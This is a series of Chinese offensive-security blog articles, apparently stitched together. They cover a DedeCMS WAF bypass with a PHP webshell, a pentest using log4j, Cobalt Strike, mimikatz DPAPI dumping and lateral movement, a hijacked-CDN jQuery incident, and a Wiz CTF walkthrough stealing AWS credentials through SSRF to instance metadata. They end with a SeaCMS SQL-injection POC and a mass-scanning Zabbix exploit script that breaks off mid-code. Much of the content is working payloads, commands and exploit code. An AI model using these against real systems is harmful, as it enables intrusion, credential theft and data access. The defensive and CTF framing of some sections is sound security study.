Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa
Connection: keep-alive
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
但是发现
所以准备调试分析一手
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
发现原因是因为有 waf
直接交给一个聪明朋友
移除多行注释
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
防止攻击者把危险代码写在注释中来绕过检测。
危险函数与变量过滤
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';
匹配并拦截使用了以下内容的代码:
系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等
全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS
动态函数调用:call_user_func, create_function, 等
一旦匹配:直接终止执行并提示危险代码。
PHP 标签与代码执行行为检测
感觉过滤还是挺严格的
绕过 waf 到 RCE
直接掏出上次的 webshell,稍微修改一下就 ok 了
<?php
class User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
原理上次大概讲过了,就是自动触发
详情可以看到蚁景网络安全这个公众号
https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台
然后我们访问首页
成功弹出计算器
记一次内网横向破解管理员密码
前言
本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
外网打点
首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测
httpx 测活一下
测完活之后,搞波指纹
指纹到手,这边一般我都是拿高危指纹去漏扫一下
然后找到了一个站点
GETshell
之后找到了一个站点
直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波
发现竟然有
/api/actuator 泄露,这个利用的手法很多
先遍历访问一下常见的接口
但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到
决定溜了的时候发现 bp 我的 dns 平台传来了动静
竟然有 log4j
呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了
CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令
07/23 15:13:23 beacon> shell whoami
07/23 15:13:23 [*] Tasked beacon to run: whoami
07/23 15:13:23 [+] host called home, sent: 37 bytes
07/23 15:13:23 [+] received output:
xxxxxx\administrator
内网启动
内网信息收集
首先简单看下内网的网段
找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了
随便 arp-a 看了一下
发现 c 段的主机还是很多的
systeminfo
win2012 的用户,不过已经是高权限了,也没有必要提权了
然后我发现在域的时候我就先不管了,先找找凭据
凭据收集
这里没有抓取到密码
然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的
突破
当时因为还拿下了一台主机,而且是同一个内网的
查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI
DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制
MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙”
流程
[ 用户口令 → 派生 Key1 ] ← 用来加密 MasterKey
↓
[ MasterKey ] ← 用来加密 DPAPI 中的密码等敏感数据
↓
[ 某个应用的数据(如 WiFi 密码) ]GUID : {3cef9fc0-4319-42da-80ff-9e74470a9f7c}
Time : 2025/2/4 0:23:08
MasterKey : aed5fc1156359826c231e1079996c769cf1ee...
sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7
Master Key Files
存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。
当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间
我这里去寻找一下 amdin 的凭证
直接拿最新的那个
然后去获取 guid
之后通过这个 guid,我们去寻找 masterkey
首先需要把全部的 masterkey 找出来
mimikatz sekurlsa::dpapi
sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件
因为内容很多,直接把结果复制到记事本
然后搜索一下
太好了,找到了,然后我们直接去破解
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
直接获取到了管理员的密码
而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码
远程其他网段的桌面
利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言
一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下:
在打开特定页面才会触发;
在特定页面也无法准确复现,尝试好一会才能复现两次;
前场同事使用的是iOS,然后其他人使用Android也可以复现;
我使用浏览器和微信浏览器打开,难以复现;
在对应服务器上未找到其音频文件;
目前使用特定运营商网络可以复现;
0x02分析
在获取目前这些信息后,有几个猜想思路:
在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放;
接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。
但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接:
突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求:
果然。在burp里面发现了奇怪的mp4文件链接。
可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。
那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。
0x03溯源
由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看:
成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。
那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。
最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题:
图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。
这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接:
访问jsjiami.com,尝试解密:
结果不可逆!!!
后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊!
虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。
0x04结尾
该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景
经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。
但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。
`You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}
解决过程
Spring Boot Actuator 泄露
首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env
尝试列出
user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
不行,没有权限,所以我们必须去寻找凭证
我第一想法就是元数据
但是没有反应
curl http://169.254.169.254/latest/meta-data
估计这个 shell 不是一个 EC2 的
然后就是寻找凭据了,可以使用一些工具,比如 truffleHog
然后简单找了一下
user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock
er} 'Secret Access Key' /
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of a connection.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of the environment credentials.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json: "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json: "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json: "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si
找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了
然后去批量爆破一波查看是否有可利用的信息
然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由
这个应该就是拿来访问元数据的了
元数据绕过
一般都有 ssrf 漏洞
user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/
HTTP error: 401 Unauthorized
可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2
我们首先获取 token,使用 PUT 请求
user@monthly-challenge:/$ curl -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token"
AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==
可以看到获取到了 Token,我们尝试使用 token 来访问元数据
user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system
可以了,我们访问凭证信息
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
challenge01-5592368
然后使用它的凭证
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"
{
"Code" : "Success",
"LastUpdated" : "2025-07-10T13:26:52Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARK***WELX36",
"SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",
"Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F
"Expiration" : "2025-07-10T19:47:29Z"
}
有了这些我们就可以配置了首先我们进行配置
root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc
之后我们就会有这个用户的权限了
目标文件位置获取
我们首先查一下这个用户有的 bucket 的权限
首先获取当前用户信息
root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
然后我们查看对应的策略
root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \
--policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \
--action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \
--profile challenge01
An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/
root@hcss-ecs-0d0e:~#
可惜这个用户没有权限,我们直接列
root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
没有列出桶的权限,不过我们知道桶的名称
root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01
2025-06-19 01:15:24 29 hello.txt
2025-06-17 06:01:49 51 private/flag.txt
读取文件绕过
尝试读取的时候可惜
root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
没有读的权限
我们还是得查查存储桶的策略
root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}"
}
限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝
怎么办呢
聪明的 GPT 给出了答案
也让我想起了 proxy
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon
aws.com/challenge01-470f711/private/flag.txt"
HTTP error: 403 Forbiddenroot
但是结果是还是被阻止了
这里可能 proxy 不在 VPC,不过我们可以验证一下
但是刚刚都读取成功了,大概率是在的
没办法,只能寻找好朋友的帮助了
首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的
参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html
默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。
我们需要使用预签名
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容:
一个 Amazon S3 存储桶
对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名)
HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等)
过期时间间隔
按照这个我们直接运行命令生成如下的签名
root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600
https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky
然后我们带着这个签名
但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63%
The flag is: ********
成功
总结
总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的
获取桶名称->
不能匿名访问->获取配置信息-
元数据
不能直接访问-走代理
mapping 泄露 proxy
元数据绕过 IMDSv2 安全机制
获取用户信息,查看权限
列取文件位置
vpc 限制,来联想 proxy
403,考虑预签名 URL 授予
行云流水
浅谈代码审计+漏洞批量一把梭哈思路
前言
最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。
工具介绍
项目地址
https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。
具体使用方法下面会介绍
漏洞样本
本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的
这里给出审计的过程
/js/player/dmplayer/dmku/index.php 未授权 sql 注入
这个相比于上一个来说是危害更大,因为不需要登录 admin 用户
确实是 sleep 了,说明漏洞存在,我们看到代码
if ($_GET['ac'] == "edit") {
$cid = $_POST['cid'] ?: showmessage(-1, null);
$data = $d->编辑弹幕($cid) ?: succeedmsg(0, '完成');
exit;
}
我们跟进编辑弹幕方法
一路来到
public static function 编辑_弹幕($cid)
{
try {
global $_config;
$text = $_POST['text'];
$color = $_POST['color'];
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";
$result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";
$conn->query($sql);
$conn->query($result);
} catch (PDOException $e) {
showmessage(-1, '数据库错误:' . $e->getMessage());
}
}
这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤
所以导致 sql 注入
还有我们看到当 ac=del,type=list 的时候
else if ($_GET['ac'] == "del") {
$id = $_GET['id'] ?: succeedmsg(-1, null);
$type = $_GET['type'] ?: succeedmsg(-1, null);
$data = $d->删除弹幕($id) ?: succeedmsg(0, []);
succeedmsg(23, true);
进入删除弹幕($id)
public function 删除弹幕($id)
{
//sql::插入_弹幕($data);
sql::删除_弹幕数据($id);
}
进入 sql::删除_弹幕数据($id);
public static function 删除_弹幕数据($id)
{
try {
global $_config;
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$conn->set_charset('utf8');
if ($_GET['type'] == "list") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";
$conn->query($sql);
$conn->query($result);
} else if ($_GET['type'] == "report") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$conn->query($sql);
}
} catch (PDOException $e) {
showmessage(-1, '数据库错误:' . $e->getMessage());
}
}
我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询
漏洞验证
POC
GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1
Host: seacms:8181
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM
Connection: keep-alive
效果如图,可以发现确实延迟了 6 秒
工具利用过程
首先就是看工具的逻辑是如何添加漏洞的
首先看主文件
代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下
需要你进入工具的时候配置邮箱和 key
def fofa_saveit_first():
email = fofa_text1.get()
key = fofa_text2.get()
with open("fofa配置.conf","a+") as f:
f.write(f"[data]\nemail={email}\nkey={key}")
f.close()
showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")
text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")
text3.see(END)
fofa_info.destroy()
def fofa_saveit_twice():
global email_r,key_r
if not os.path.exists("fofa配置.conf"):
fofa_saveit_first()
else:
email_r = getFofaConfig("data", "email")
key_r = getFofaConfig("data", "key")
def fofa_info():
global fofa_info,fofa_text1,fofa_text2,fofa_text3
fofa_info = tk.Tk()
fofa_info.title("fofa配置")
fofa_info.geometry('230x100')
fofa_info.resizable(0, 0)
fofa_info.iconbitmap('logo.ico')
fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")
fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)
fofa_text1.grid(row=0, column=1, padx=5, pady=5)
fofa_key = tk.StringVar(fofa_info,value="填email对应的key")
fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)
fofa_text2.grid(row=1, column=1, padx=5, pady=5)
button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")
button1.grid(row=2, column=1, padx=5, pady=5)
fofa_info.mainloop()
使用 fofa 的处理流程
后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能
然后下面是脚本调用逻辑
因为一个漏洞是需要你自己写一个 python 脚本的
然后加入你自己自定义的漏洞是在
这个逻辑应该很好理解,比如我的就是
button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary")
button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5)
然后就是写对应的利用脚本了
因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的
工具自带了许许多多的利用脚本,我们看一下如何仿写
比如 zabbix_sql.py
import requests
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
from ttkbootstrap.constants import *
"""
Zabbix ‘popup.php’SQL注入漏洞
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017
Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。
"""
def zabbix_sql_exp(url):
poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""
target_url = url + poc
status_str = ['Administrator', 'User']
try:
res = requests.get(url, Verify=False,timeout=3)
if res.status_code == 200:
target_url_payload = f"{target_url}"
res = requests.get(url=target_url_payload,Verify=False)
if res.status_code == 200:
for i in range(len(status_str)):
if status_str[i] in res.text:
zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
